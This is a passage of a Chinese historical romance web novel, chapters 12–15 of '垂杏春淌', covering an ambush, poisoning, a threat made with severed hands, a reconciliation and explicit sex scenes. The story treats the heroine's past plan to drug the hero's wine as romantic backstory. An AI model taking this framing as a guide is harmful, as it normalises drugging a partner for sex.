说着没怨,等再弹时,却已然有所收敛。藏了怨气,琴声就只剩下倾诉,似在与人对话,又似喃喃自语。 黄夫人更加笃定,他心中怕不是有了人。 想到那晚他匆匆下轿,她小心试探道:“你要是心中有悔,现在去认错她不会计较的。” 琴声戛然而止,棠宋羽起身道了一句“黄夫人多虑,我所思并非长公主”便回了屋。 不是长公主? 那……难道是她? * 山青倏尔坠落,未等棠宋羽理清头绪,玄凝从床边滑下,蹲坐在地上,只露出个后脑勺上的银累丝蓝玉钿口给他看。 “我今日本来想让陛下赐婚……说来可笑,长公主也在,她笑话我孑然一身,她懂什么叫孑然吗,我可不觉得自己孤单……” 玄凝越说,脑袋越低,他快要看不见她。 就应该让系统设定成一见钟情。或者,她不去昆仑学剑,说不定还能早点遇到他。 “真是荒唐,你怎么可以喜欢上别人。” 她声音酸涩,如无形的雨点落在心中,泛起一圈涟漪,扰的他心神不稳。 两人心中纷乱复杂,谁也没有开口,玄凝只又待了一会,起身就走。 月色正凄清,藤花也寂寥,玄凝站在门口头也不回道:“抱歉,之前是我无知莽撞,往后,我不会再纠缠画师了。” “你在这里很安全,我会找男侍来看护你。当然,你若想回城北,告诉岑煦,她会安排妥当。” “我的……算了,想必你扔了。” 她回头关上门时,棠宋羽始终垂着眼眸。 门缝渐小直至合上,屋内了无声音,玄凝便狠下心快步离去。 “好……如此也好……” 脚步声远去,棠宋羽端起一旁的汤药一饮而尽。 她误会更好,这样一来,他就可以从中脱身了。 想要放下时,他一个不稳,手中的碗掉落在地,摔成了碎片。 他俯下身想将碎片捡起来,一经挪动,腿骨断裂处的疼痛,瞬间让他趴在床上喘息。 疼到就连手落在地上,不慎扎进尖锐都不知道。 岑煦进来时,看见他趴在床边一动不动。 “画师?” 她掀开珠帘,见一地狼藉和血迹,立马骂出声。 “兔崽子,我上月刚修的地板——来人!” * 戌时末,城北早已昏黑,唯有临水的清池庄还亮着灯笼,玄遥正站在门口焦急等待,远远看见有马车驶来,连忙上去迎了几步。 然而当马车渐近,她却愣在原地。 驾车之人呢? 云泥连忙跑过去跃上马车,打开门一看空无一人,她连忙将马绳勒住,下车禀告玄遥:“庄主,车内无人。” 玄遥提着灯笼在车身上寻找痕迹,果然在马车后门发现了一个记号。 那是一个双弧。 “坏了……速召隐寸,沿来路向西找人,要快。” 双弧为包围之势,代表对方人数较多。 是谁如此不要命,敢对玄家出手。 一道耀眼的红光在清池庄上空绽开,随之,城西辰宿、城东绿水、城南红福纷纷升起了红光。 玄凝翻身躲避时,余光看见远处空中有红光,便知道消息已带到,很快便有人寻来。 她一分神,险些被暗处袭来的暗器划伤。 “殿下小心!”天蜻拉过她的胳膊,玄凝借力腾空,一脚将迎面而来的长刀踹出数米外。 偏她今日进宫,两人都没有携带佩剑,否则就凭这些杂碎,休想困住她。 从医馆出来时,她就隐隐感觉有人在盯着,一路引到城西,那些人果不其然也跟来了。 其中有不少人,玄凝曾在玄家罪人册上见过,都是些见钱眼开的亡命之徒,不知是谁花大价钱找来,说要废了她的手。 还能是谁,她得罪的人不多,就一个。 长公主做事前能不能过过脑子。 左边再次挥来长鞭,玄凝闪身躲开,那长鞭像是长了眼一直追赶她,害得她只能绕着圈跑。 他们的目标只有她一人,天蜻见玄凝又被缠上,刚想上前帮忙,却发现身 12. Chapter.12 《垂杏春淌》全本免费阅读 山风似人声轻叹,却无法解答她心中困惑。 玄凝试探喊了一声镜释行的名字,又追问了一句“师父是你吗?” 没有人回答她。 玄凝心中暗想,不可能是镜释行,他这个时间早就睡觉了。 他又远在昆仑,若是来天景城,肯定第一时间会来找她。 远处林中传来脚步声,玄凝警惕趴下,生怕是方才那些消失的人又回来了。 她眼睛还未复明,不能冒险。 “前面好像有光,快过去看看。” 是女子的声音。 “那是……小庄主?” “快放玄鸟箭,找到小庄主了!” 玄凝听到是自己人,这才从地上爬起:“是隐寸吗?” 这两位隐寸皆是女子,见她行动不便,赶忙上前扶起她。 “是,我们奉庄主之命前来寻找小庄主,小庄主你的眼睛……” 在外人眼中,玄凝此时的眸子蒙上了厚厚一层黑霜,连眼白都没有,看着格外渗人。 “应该是暂时失明,对了,你们先把这个女人绑起来,她很危险。”玄凝摸到一旁的人,看样子她还是没醒。 她那时说了一句“什么东西”,正常情况下,不应该说“什么人”吗。 到底是何方神圣出手相助,总不能是玄家列祖列宗保佑吧。 玄凝问道:“你们过来时,可有见到什么人,或者什么东西?” 女子皱眉想了想道:“没有见到什么奇怪的人或东西……倒是有一件事挺奇怪的。” 她立马追问:“何事?” “我们刚才是寻着一缕光亮过来的,可是眼下,这附近并没有光亮。” 哪有这么邪门的事情。 不过也不一定,镜释行捏个决就能把她从山上闪送到山下,这西山郊外有个世外高人也说不准。 玄鸟箭划破黑夜,迸裂瞬间如一颗璀璨的太阳,让玄遥看到了希望和慰藉。 她赶过去时,已有不少隐寸在现场收拾残局。见到玄凝正被人搀扶着,她脚下步履失了稳重,连忙小跑过去:“阿凝!” “阿媫?”玄凝听到声音也有些激动,不过她看不见,只能感觉到有一阵风朝她扑来。 是她的母亲将她抱在怀中。 “阿媫……”玄凝靠在她肩上,感觉到玄遥的手还在抖,伸手在她背上抚摸道:“没事的,我这不是好好的站在你面前吗。” 玄遥却一把松开她,盯着她幽黑无神的眼睛呵责道:“你这叫好好的?你连我在哪都看不见。” “阿媫在我心里,就算天再黑,我也能找到你。”她莞尔一笑,拉住玄遥的胳膊,向下摸到她的手,双手握住道:“找到阿媫了。” 玄遥心中一紧,眼眶湿润,攥着她的手摩挲:“傻孩子……” 周围那么多隐寸,她哪好意思落泪,甩开她的手就命人将她送去医馆。 连同一起的还有昏迷不醒的天蜻,云泥看见天蜻被人抬走,连忙跑过去跟在身旁:“她怎么了?” “恐怕是中了毒,我已经将她的穴脉封住,应该暂且无事。” 玄凝看不到人,也是凭着手摸索到位置,隐寸来了之后,又让她们看了状况,确认毒性没有继续蔓延才放心。 步法如鬼魅般无影无踪,又擅长暗中下毒,又和她同宗,玄凝还从未听说过这样一号人物。 昆仑宗怎么说也是以剑法立宗,那人的手偏没有练剑的痕迹。 玄凝想不出是谁,只能寄希望于玄遥,她母亲见多识广,说不定会认识。 玄遥望着被捆起来的女子,冷声问道:“是她害得小庄主失明吗?” “属下不知,小庄主只说此人危险,让我们将其控制住。” 女子身着玄青窄袖上衣,脚踩长靴,一头茶棕卷发看上去不像是琼国女子。 她蹲下抬起女子的脸,赫然惊道:“魇魔?” 周围隐寸鲜有人知道魇魔是何人,个别知道的闻声也是脸色大变,连忙低下头当做没听见走了。 玄遥不敢置信,粗暴将她头发拨开,只见她侧脸上有一大片烧伤瘢痕。 望着熟悉的伤疤她更加确定,此人就是魇魔。 可她不是早该死了吗?怎么还活着。 莫非是那人骗她…… 玄遥脸色更加阴沉,倏尔起身道:“将她送到辰宿地宫,严加看守,一旦醒来,立刻告知我。” 林中又走出了一群隐寸,他们三两结队,手上抬着什么东西。 “庄主,我们在一公里外发现了这几具尸体,是被暗器所伤的。” 玄遥回头看了看,都是罪人册上的人,死不足惜。 “烧干净。” “是。” “慢着。”玄遥又忽然叫住抬走尸体的人,“挑几个好看点的手砍下来,顺便查一查他们最近都和什么人有过来往,一个都别放过。” “是。” * 玄鸟箭的火光前后只隔了不到半个时辰,却也扰得让人无法安宁。尤其扰到东宫之中刚宠幸完男侍,正要睡下的长公主。 一听玄家庄升红光,天覃变了脸色:“不是说了不要惊动玄家,你找的是什么废物!” 又有女侍匆匆进来,跪在地上道:“城中街道多出了不少身影,怕都是玄家隐寸。” 天覃来回踱步,她想到了什么又紧张问道:“陛下睡下了吗?” 女侍略有迟疑:“这个时辰……按理来说陛下应该已经歇息了。” “按理来说?按理来说玄家不会反应如此之快!”她一手打翻了烛台,点滴灯油飞溅,烫得荻花垂首皱眉,握紧了藏在袖间的手。 长公主坐在床边,身后的侽宠立即爬了过来,给她充当靠背。 “派人去盯着,不要留活口。” 惊动玄家,她只能做最坏的打算。 玄凝就算猜到她又如何,没有证据,就是有,她敢提剑杀进东宫吗。 说不定她的手,此时已经被废了。 又过了一刻钟,荻花匆忙进屋:“殿下,金光现,玄家找到人了。” “哦,真是快啊……”长公主卧在男子怀中斜眼问道:“事情办成了吗?” “……” 天覃嘴角绷紧,皱眉起身:“没有?” “隐寸太多,我们的人无法靠近,暂时……还不能确定。” “你何时说话变得如此慢吞,既然没有确定,就确定了再来告诉我。” 长公主再次躺下,夜色已深,她听着屋内潺潺水流声,温柔乡里阖眼酣睡。 可惜这一觉还未能睡到天明,后半夜殿外尖叫声凄厉,惊得她惶然坐起,以为是玄凝提剑杀来了东宫,连忙爬下床拔剑护身。 “何人喧哗!” 门外的男侍被荻花打了一巴掌正跪在地上求饶,他头磕的响亮,声如撞钟,嘴里叨道:“小的该死,扰了公主清梦,小的罪该万死——” “你是该死,大半夜鬼叫什么?”天覃隔着门问道。 男侍脸色白如死尸一般,指着宫殿檐下摇晃的黑影道:“小的刚刚看走了眼,把铃铛看成了手。” 荻花顺着他的手指往上看,黑漆漆的一片,什么也看不清。 不对。 灯笼是何时灭的? 黑影虽然在摇晃,却没有发出任何声响。 荻花踩着男侍的背,提着灯笼往上照,却在看清那黑影后,吓得差点从他背上摔下来。 那分明就是一串死人的手,被针线穿起来吊在檐下,还在顺着平整切口往下渗血。 长公主听门外迟迟没有动静,一打开门,就看见荻花拿着长钩在钩什么东西。 荻花听到声音,拿着长钩转回头,动作幅度一大,切口边沿渗出的血滴甩了长公主一脸。 “什么东西?” 天覃擦着脸上的水渍,放在鼻尖嗅了嗅。 是血。 取下来的人手苍白如蜡,玄家有心,特意为她挑选了几双好看的手,替她装饰东宫。 此事玄凝一概不知,长公主受惊时,她正乖乖泡在木桶里听玄遥唠叨。 “还好只是斑毒虫,受惊会分泌一种毒液,让人短暂失明,服药加每日热熏三四日就能恢复。还有你脖子上的红淤,擦上膏药,十天之内能恢复。以后你出门还是带人跟着才行,不然我不放心。” 或许是死里逃生,往日听得厌烦的话语,如今听起来却倍感亲切。 面前水雾缭绕,玄凝只能感到温热拂过双眼,她泡的太久,昏昏沉沉快要睡着时,被玄遥拎着耳朵从水里提起。 “你晚上出宫,不直接回家,又跑去医馆找君子兰。” “……你怎么又知道了。” “天蜻醒了,我自然是要问的。” 水声响动,玄凝站起身摸索到桶身跨了出来,身旁侍女连忙将干净沐巾裹在她身上。 “天蜻怎么样了?” “那人没下死手,你封住她的穴脉也暂缓了毒性蔓延,她正在房间躺着,云泥在照顾她。” 玄遥将她身上水痕擦去,接来女侍手中的衣裳为她穿上。 13. Chapter.13 《垂杏春淌》全本免费阅读 旭和二十年,年末。 冬至夜的大雪,让天景城笼了层白纱,杏树积雪还未消,新雪又絮絮添上。 白纱压弯了细柳,消隐了青黛,好端端的一副白描风俗画,俨然成了留白山水画。 院里草木凋零,后山的腊梅倒是迎了霜寒冰雪,含苞欲放。北风将枝头的新雪垂落,萧萧离去时,似是故意拂过窗前轻纱,只为窥见内景中端坐的美人。 风寒而不自知,美人香颈瑟缩,眉目浸了冷意,转眼望向飘白窗幔。 冷风贪婪,见引得美人注目,携着几分梅香沁在他精雕细镌的面颊。美人无愠无恼,凝望着苍灰色远天,眼中殇绪不减,反而又添上一笔重色。 良久,扶身而起,绛紫的手抚上被风掀起的窗幔,他探着木窗边沿,打算将扰了清净的北风关在窗外。 目光不经意落在后院山水池边,落絮纷飞,草木皆白皑,水石由白渐青灰,池面结了层不知浅厚的冰,就连落瀑出水处也只剩了冰莹尖锥。 如此枯寂淡景,他哀了哀眸色,正要合上窗,玉雪檐下,走出了一抹绛色。 那颜色过于火红,灼伤了美人琉璃般的双眸,甚至连心都跟着揪痛。 可尽管如此,他却不肯移开视线。 那人手执红伞,走到后院池边,落伞仰首,与他的视线对上。 雪花肆意横扫他的脸颊,落了他睫毛点点玉沫,他的手像是粘在了窗上,一动不动,任风刺骨。 正如此刻,他的目光紧紧黏在那团火焰上,红再刺眼,心再刺痛,都不愿离开。 漫天飞絮中,绛脂轻弯,他听见她唤他的名字。 “棠宋羽,跟我回家。” 字字珠玑,可谓掷地有声。 他却恍如大梦惊醒,仓皇关上窗,躲在窗幔后无力坐下。 心如擂鼓,震的他苍白面颊落了浅绯,长睫上的落雪化了水珠,随眼帘扇动而轻颤。 未等他内心平定,步履声杳杳渐至,他坐在案边无处可藏,只能眼睁睁看着那扇门被人从外推开。 来人似是轻叹,进来后并未着急说话,而是反手落了门闩。 她缓步靠近,随着解带声,冰花沾染的火狐大氅落地,几声急促脚步声后,她的温度也落在他的身上。 素衣冰凉,她却不嫌寒,在怀中渐拥渐紧。 他惊楞之余,听到她在耳边轻喃:“你又躲我……” 棠宋羽本是贪恋温暖的人,却在听她呢喃后,握着她肩膀将人推开。 “殿下自重,我们已经不是……” 他的话并未说完,只是因朱红胭唇贴上唇瓣,悄然止住, 倘若是在以前,他怕是就要束手就擒,任她朱唇辗转,皓齿相碰。 可如今,他只手握着她的脖颈,将人逼退。 玄凝低头望着他放在喉间的手,本想怪罪,却在看见他手上的冻疮哑了声。 他的手,不该是这样的。 若不是他在院外跪了一夜,又怎会被冻出了疮。 她按着他的手握紧,在他惊诧的眼中,俯身凑近。 “休书我没有签,你还是我的君夫。” 她的呼吸过于近了,扰的他心绪不定。棠宋羽只身后靠,朗目间刻着疏离。 “殿下为何不签,小的没了清白,不配做殿下君夫。” 她在意清白,他何尝不洁身自好。 当日若不是她红着眼央求,他又怎会…… 玄凝像是早有预料他会这么说,杏眼微闪,望着他神情郑重,手上却突然施力,让他掐住了她的脖子。 “!”棠宋羽想挣开手,却被她死死按着,他纵然焦急,却也只是沉声问:“你做什么?” “你若恨我……那我愿意死在你手上。” “……” 棠宋羽盯着她,眼中诧异不再,嘴角扯出一抹苦涩:“玄凝,你还在做戏。” “你这么做,无非是想听我说一句‘不恨’,你好心安理得去找他人。” 他渐渐用了力,眼角爬上了红晕:“可我恨你,我恨不得剖了你的心看看它是冷是热。” 棠宋羽的语速少见的急促,像是用了全身力气,说完后,手上便卸了力。 他眼眶泛红,豆大的泪珠顺着泪痣,一颗一颗砸落。 美人潸然落泪,谁见了都要心疼,玄凝放下他的手,俯身将人重新搂到怀中,顺着他的背安抚。 “那日是我过于偏激,你恨我也无可厚非。” “我想清楚了,即便你不是清白之身,我也可以接受,只是你要给我一些时间。” 棠宋羽闻之,埋在她颈边闷声道: “……殿下何苦委屈自己。” 他嘴上这么说,手却伸到她身后与之相拥。 她的身体依旧暖和,像是永远不会熄灭的烛火,驱散他浑身冰凉。 就连她的哄话,也多少蕴藏了温火,否则怎会轻而易举将他心中阴霾,也一并散了去。 委屈吗…… 玄凝轻摇着下巴,斜眼望着他垂落在地的发丝。 “我只怪我没能早些来到你身边。” 当初误会他喜欢上黄夫人,她自说自话,轻易定夺他心意。 这次虽是他亲口告诉,也是她不等人说完话,轻易离他而去。 好像每一次,都是她咄咄逼人。 他生性寡言,她夺了他说话机会,他也就随之任之,不再辩驳。 可他并非草木,也并非神仙,怎会没有脾气。 草木若有声,神仙若显灵,也会道人间之疾苦,救众生于水火。 “阿媫说,我们性子太倔,在一起只会互相折磨。” 她突然提及母亲的话,棠宋羽面色微变,敛了隽意眉眼。 “殿下怎么想……” “我不想和你分开。” 她的回答没有一丝犹豫,甚至是下了某种决心,声音比方才在院中时,还要掷地有声。 他无声搂紧了她,手背青筋边缘格外清晰,泛白指节斜穿在她的发间。 紧接着,他听到她在耳边问道:“你呢,你想离开我吗?” “……” 他不说话,玄凝内心隐隐不安,却还是耐心等他的回答,只是抚背的频次出卖了她的心绪。 棠宋羽察觉她的不安,没等多久,抬头在她耳边轻声道:“你心即我心。” “若殿下想我留下,我自哪也不去,若殿下不想我在,我自会主动消失。” 竟是这样的回答。 玄凝在漫长的空白中,在心里猜想了无数遍他的回答,却也只在会与不会辗转横跳。 原来会与不会之间,还有一个答案。 你心即我心…… 他将问题又重新推给了她。 若是她心意永恒不变,这个问题便只有一个“不会”答案。 可若有天,她心意摇摆,他也就随之不定。 她为之轻笑,起身搂着他的脖颈,侧脸轻啄。 “我说了,我不想与你分开,这不是我一时冲动的决定,是从你走后,我的心无时无刻不在叫嚣的话语。” 棠宋羽静静地看着她,脸上寒霜褪尽,便只剩下千万柔情,盎然如春。 不是系统所设。 他眼中真的唯有她一人。 玄凝捧起他的脸,额头相抵,喃喃自语。 “我可能……真的很爱你……” 连她自己都没有想到。 冷风似有情,呜咽着从窗隙钻进,不想撞见了美人眉眼含春,正搂着怀中女子在她朱唇上辗转。 匆匆一窥,吓得惊晃了窗幔,不情不愿露出窗外的鹅毛大雪,而美人只是淡淡一瞥,抬指将女子被风吹乱的鬓边碎发捋到耳后。 察觉到有风,玄凝扶着他的肩膀,将人往角落里按去。 唇齿难分难舍,即便是挪动位置,两人也不曾停下。 后脑勺抵在了木墙上,棠宋羽睁开眼时,发现自己被她禁锢在角落。 她跪在他怀中,双手却撑在墙上,肘节弯曲置于他两侧,眼帘半合,低着头看他意乱情迷,好不霸道。 “你……” 他纵有不满,却也被她稍加用力的咬噬回了神,全情投入,忘记了要说什么。 她的手渐渐落了下去,摸到他的手,与之十指相扣。 他无意识握紧她的手,正感受着她掌心温度,却突然被她高举起手,肩肘也翻了半圈,竖着与木墙平行。 “?” 他不解地睁开眼,嘴上柔雾消散,身上一重,她坐在他腿上,如同审罪人一般居高临下地望着他。 不过她面色微红,看着他时,眼眸更加水灵含光,怕是不用严刑逼供,他就会将知道的全盘托出。 “棠宋羽,在更进一步之前……我有个问题……” 他只听了前半句,脸上胭脂晕染又重了几分。 “嗯……何问?” 她神色却突然不自然,眼睛左右乱飘。 “我想知道……你初次给了谁?” 玄凝问完,又默默盯着他的眼睛。她做好了心理准备,等着他说出陌生或熟悉的人名来。 却不想,他浑了呼吸,指尖无意紧扣她的指背。 “你当真……不记得了?” 不记得……她有忘了什么吗? 棠宋羽目不转睛地盯着面前女子,她神情困惑,眉心疑云密布,倒是不像在装糊涂。 她当真是忘得一干二净…… 难怪新婚之夜听他说起此事,会如此激动…… 她不是纯心羞辱……他岂不是误会了她。 他说话慢条斯理,像是猫咪收了爪子在她心上点踩。 “那女君的长相……和殿下一模一样。” 玄凝愣了一下:“什么意思?” 他嘴角居然翘起,勾着绯红眼尾凝望她的双眸:“字面意思” 美人盈盈一笑,倒叫她更加茫然所困,未等再次追问,美人支起身子,迎着她迷雾重重的水墨珠玉,一如当初春夜,嗓间之音晦涩喑哑。 “殿下……步天楼……彩凰酒……那晚你将我……” 玄凝紧紧追逐着他眼中流光,已忘记他的手还在自己手中举着。 步天楼,彩凰酒…… 她忽的想到什么,连呼吸都忘了,被晕开胭脂的唇瓣一张一翕,看得他眸中晦暗。 他握着她的手放下,指腹在她唇边摩挲,“殿下,想起来了?” “……” 那晚相约,她心思不纯。 彩凰酒性烈,她只需哄骗他喝下一口就…… 然而看他抚琴时,掺了药的花酒接连下肚。 等她意识到喝错时,人已经晕头转向,连带着浑身燥热倒地不起。 玄凝只记得她晕过去,醒来便是在回庄的马车上。 她头痛欲裂,又听说是棠宋羽叫来天蜻将她送回,心下认定她的计谋并没有得逞。 可如今……他却眼波潋滟,唇边笑意隽永,控诉她那晚对他…… 他神情像是确有其事,她为何一点印象都没有。 棠宋羽等了半晌,女子终于抬眼望着他轻喃:“我那晚喝醉了,很多事情都不记得……” 他颔首微笑,道:“嗯,殿下那晚确实是酒香四溢……” 至于她不记得的那些旖旎……细枝末节,他不曾忘过。 玄凝看着他好似回味的眷恋眉眼,倏尔唇边笑意深浓。 “棠画师……不……应该称你为君夫。”她手指攀附上他单薄素衣,沿路抚上他的脸侧,在他红到滴血的耳朵轻轻摩挲。 “君夫……可否帮阿凝回忆一下?” 四目相视,眼中笑意缱绻,以至于不知是谁先主动,等玄凝缓过神来,他微凉双唇已经贴上。 她张开嘴,于是他轻易探了进去,噙着细腻的柔瓣轻吮。 手指穿过她的发丝,将她好看的眉眼按向自己,余光见到她杏眼朦胧,他短暂分开,笑着呢喃:“殿下,你该求我了。” 求? 见她不解,棠宋羽再次压上她的唇瓣,只是比方才要急切了些,才刚触碰,便勾着她的柔软逃离温柔暖乡,激的她腰身一软,忍不住往后退却。 他却有模学样,一手按着后颈,一手擒住她的腰不让她躲。 玄凝哪里被他这样压制过,心下不肯服输,便按着他的肩膀将人重新压在身下。 他并没有反抗,绵长湿热的吻结束后,见她气鼓鼓的样子,他反而轻笑。 “我对殿下所行之事……皆是那晚殿下对我所行……” “……” 难怪如此陌生却又熟悉。 她手指拂过他的嘴唇,向下摩挲到他的喉结,轻划着心型:“然后呢,阿凝还做了什么?” 指尖划过的地方轻痒,喉结上下滑动,棠宋羽倚坐在墙角,拉住她的手向下,放在自己心口处。 “我这里,只要你一个。” “……” “这句话……是我说的?” 棠宋羽眼中凝光,气息忽重:“是。” 原来喝醉时,她还不忘说些情话哄骗他。 人一旦清醒,便总失了坦诚。 玄凝虽未饮酒,此刻脸上却酡红一片。她欲躲开他明亮眼眸,却被他握着手腕拉入怀中。 发髻早就松动,缕缕青丝散落,覆在他手上,仿佛盖了一层黑纱。 “殿下……”他反复在她眉间啄磨:“说过的话,还作数吗?” 他身上的沉木香气已淡了不少,却也让她产生恍惚,好像身处花烛绛帷里,正依偎在他怀里听事前的情话。 如果那晚她耐心听他说完……她也不用在交九大雪中,步行数十公里,从城南红福山庄走到城东画院,只为接他回家。 14. Chapter.14 《垂杏春淌》全本免费阅读 风声喑哑,窗外昏黄,已不见雪落。 飞雪落红,春色流淌,已不知杏花几载开,垂杏几回熟。 火狐大氅披在两人身上,只漏出白玉般的香肩和乌黑长发衬托的红润脸蛋。 青丝缠绕的不分你我,玄凝浑身淋漓,慵懒地躺在他怀中温存,四目相对,又不知疲倦般再次吻得难舍难分。 见她又要翻身而起,棠宋羽按住她的手道:“殿下,是要在这里过夜吗?” 她却笑道:“有何不可。” “托君夫的福,我刚对那晚有点印象,不过不多……” 玄凝俯下身,鬓发散落在耳后,杏花眼中满是年少贪欲。 “要不再来一次?” 美人本一脸餍足,可她湿漉双眸如此诱人,便搂着她的腰将人压在火狐大氅上。 他身上披着她的红袍,一起身就松垮垂落在地,将她婀娜身躯包围在其中,边进边道:“殿下……不是要休了我吗?” “……” 他何时如此记仇,怎么回回都要提及这件事。 玄凝捧起他的脸,翘起的嘴角缓道:“棠宋羽……你是要日后每一次……都与我提及这事吗。” 棠宋羽面若桃花眼波潋滟,气息不稳,却噙着笑问她:“有何不可?” 连她的原话都学的有模有样。 玄凝刚要说他,他一动,便又说不出完整话来了。 “你……等一下……停下……” 棠宋羽听话地停了下来,只是眉眼略有委屈。 “殿下……” 玄凝听他声幽晦涩,却也是无动于衷,小腹发力起身道:“你的腿近期莫要久跪,还是我来吧。” 见他跪着……她于心不忍。 她不由分说又将人按在地上,小臂发力时,线条优美多姿,火狐毛下的春色被他一览无遗。 “殿下……” 棠宋羽呢喃,扶着她的腰,将人身上的防寒衣物,拢紧了些。 “休夫是不可能休的……” 她俯身去咬他的脖颈,听他喉间闷吟,扬着胭脂褪净的嘴角,道:“玄家只有丧夫。” “棠宋羽,你投湖是想让我刚及笄就丧夫吗?” 自家殿下真是哪壶不提开哪壶。 棠宋羽张了张嘴,不知该从何解释。 她却仰身迎入,又俯身亲吻他的嘴角:“还提不提休夫的事情了?” 原来是要用这个把柄堵住他的嘴。 见他还在犹豫,指尖故意重重扫过,他果然为之一颤,握着她的腰细若蚊吟道:“不提了……” “你说什么?” 她没听见,手中动作也自然没停下,棠宋羽只好又大了点声:“不提了……” 她好似堵住了耳朵,依旧说没听见,反应过来她又在戏耍,棠宋羽抿唇不语,望着她的眼神像是莲花瓣上的夜露,笼了一层水月,朦胧梦幻。 玄凝看得心中好似泉雾冉冉升起,美人楚楚,她见犹怜。 于是拧松拨点,更加欺负。 他思绪溃散,唇缝溢出三两婉转,白玉轻抚柳腰,却始终没有报复。 玄凝感觉这一幕好像真的发生过,在她记忆深处。她低头吻住他,他只会笨拙的回应,小心翼翼抚上腰,对她始终温温柔柔,哪怕是凶狠的时候,也只是红了眼眶偎在耳边,喘声大了些。 来时还是正午,玄凝掀起窗幔打量外面时,天边已泛起紫光。 棠宋羽刚点烛火,见她不着衣衫就跑到窗边,忙将人拉了回来,小心伺候她穿衣。 “殿下,小心受寒。” 他身上素衣闲散,只是随手在腰间系了一个结,俯身为她穿戴蹀躞时,胸前的玉坠就掉了出来。 玄凝看见玉坠,便想起它在雪白肌肤上滑落到墨发时的样子。 她伸手握住了白玉,在手中打量道:“说来……你虽签了休书,我赠你的玉坠倒是好好戴在项间。” “君夫……”她轻佻地抬起他的下巴:“是想给自己留个念想吗?” 棠宋羽面色微微一红,将玉坠重新放回去。 “是。” 想不到他会承认,玄凝脸上的笑容僵住片刻,凝眸不语。 那是她唯一后悔赠予他的东西。 见她脸上没了笑容,棠宋羽握住她的手,轻声道:“我不悔。” “能背负殿下命格,是我之幸。” “可我后悔……”玄凝望着他手上红肿寒疮,吸声哽咽道:“我若早知长命石不能赠人,当初你还给我时,我肯定不会再执著送你。” “阿凝,”他将人拥入怀中,“巫者之言,真假尚无定论,即便是真,你又怎知我无法承受。” 他说的笃定,玄凝却忽然泣不成声,在昏黄房内拥紧了她唯一温暖。 “我该如何对你才能弥补……” 棠宋羽轻捋指间长发,久久叹道: “殿下从不欠我什么。” 雪夜行走不便,玄凝提着灯笼,为他照亮前路。 棠宋羽背着她在雪地里缓行,忽的脖颈一凉,知她调皮将雪放了进来。 等他回头时,迎接他的又是温热唇瓣。 她亲了一口,又咬着耳朵道:“棠画师还能背动吗?要不要换我来抱着棠画师回去?” “……能。” 熟悉的调戏,甚至连对话都一模一样。 只是如今,他已成为她的君夫。 “君姝。” “嗯?” 玄凝勾着脖子探头看他。 “阿壻怎么了?” 棠宋羽抬眼望进她的双眸,而后轻笑不语。 四季更迭,时月流转。 唯她眸眼情挚,一如当初。 * 春末。 玄家一夜红光,送来了长公主卧病在床的消息,城中议论纷纷,闲言碎语不等传到玄凝耳朵,就被玄遥拦下。 “他们是如何得知我和长公主相争侽宠之事的?” 玄凝躺在院中摇椅,美滋滋地沐浴着和煦春光,听到步摇声响,懒洋洋问道。 “你又听谁胡说?” “阿媫,不是我想听,我看不见之后,这听力倒是长进,你们在山下谈话,我在山上都能听见。” “你就不能堵上耳朵,”玄遥掰开她的眼皮,看了又看:“应该是有人故意走漏风声。” 被阳光照着,玄凝眼睛发酸,直想流泪。玄遥见她左眼有反应,又伸手去掰右眼。 “阿媫,你下手轻点,我可不是罪人。” 玄遥却丝毫不减力度,掰着她的眼皮上下按动。 两日过去,她的眼睛只恢复到感光程度,比玄遥预想中的要慢。 “你是不是又嫌苦,把药偷偷倒了?” “……” “怎么可能呢。” 玄遥眯眼瞪着她睁眼心虚的样子,又上手提着耳朵训道:“我看你是吃熊心豹子胆,连我的药都敢倒掉。” 玄凝打蔫道:“阿媫,你的药味道太奇怪了,光闻着我都要吐了,尝一口人怕是要归天。” “小妮子又说胡话。”玄遥松开手,无奈在她身边说道:“你要是嫌苦,我就给你换个方子,只是效果不及现在这个,好的也慢。” “慢是要多久?” “大概半个月。” 玄凝靠在椅背上晃了晃,半个月也挺好,可以跟长公主一样,对外称病。 她才不相信区区一串手就能把天覃吓得卧病在床。 那可是长公主,阎王爷到她面前都要被她骂个狗血淋头。 “既然长公主选择闭不出户,息事宁人,那我也只好浅浅效仿一下了。” 脑袋被人点了一下,玄凝依稀看见面前有影子晃过。 “那这半个月你待在山上哪也不许去,山下的事情我会处理的。” “嗯。” 玄凝追寻着影子消失的地方,问道:“话说,那个魇魔当真是长公主找来的?” 玄遥迟钝了一会,紧锁着眉心道:“……不该你知道的,别问了。” “她害我目不能视,当然和我有关,阿媫你也不用瞒着我,你从地宫出来后交代的话,我可全都听见了。” 天还未亮,她在院子里练功时,就听见后山地宫出口有人窃窃私语。 玄 15. Chapter.15 《垂杏春淌》全本免费阅读 辰宿山庄位于城西,相较于玄家别的山庄,这里地势高耸,得天独厚的地理位置让玄遥一眼看中其价值,挖空山体修筑地宫,除了关押罪人,辰宿庄还是情报枢纽和隐寸训练的地方。 山上脚步声急促,玄遥一声令下,庄中隐寸皆闻声出动。 玄凝听见阵仗这么大,放下了想要打开车门的手。 “既然要养伤,就好生歇养吧。” 她退了一步。 脸上依旧笼着马车投下来的影子。 梦中情节仿佛在她身上应验,棠宋羽目不转睛盯着她失神的眼睛。 正想问她的情况,却见她又往后退了两步。 只是这一次,阴影不再遮挡,她站在阳光下。 长发马尾半垂身前,一身嫩鹅黄织金缎圆领长袍,被阳光照耀的熠熠生辉,宛如打翻了的金箔,在未干的明胶上再次留下璀璨夺目。 光焰万丈,看得棠宋羽眼中酸涩。 他缩回了头,垂眸望着伤腿。 她本就是金贵之人,与他,终究是萍水相逢。 不该他问的事情,不该他关心的人…… 便…… 随她而去。 马车缓缓向前,身后脚步声接踵而至。 玄凝听着马蹄声离去的方向,喉间一热,大声道了出来。 “你也珍重。” 无论他是否在意她的珍重。 玄凝只想对得起自己内心,追一个无悔无恨。 风中飘来淡淡一声“嗯”。 玄凝确定那是他的声音,低头而笑,弯腰拂着膝盖尘土。 下来的太急,在半山腰时就已经踩空。 不过能换来他的一字……也是值了。 “倒也不枉我对你……用心。” 玄遥握着她长命锁上的玉石,站在她身后看了一会儿,叹气道:“回去吧。” “阿媫手上拿的什么?” 要不是她双目无神,玄遥几乎都要以为她恢复了视力。 见红影摇晃似在试探,玄凝笑道:“听到的,在半山腰时,你拦下了女侍。” 闻声,红影放了下去。 “你耳朵这么灵敏,阿媫在你面前还有没有点隐私了。” “只要阿媫别把侽宠带来,还是有隐私的。” “……就你鬼机灵。” 玄遥扶着她的胳膊,将手中之物递到她手心。 “拿好,你的玉和面纱。” 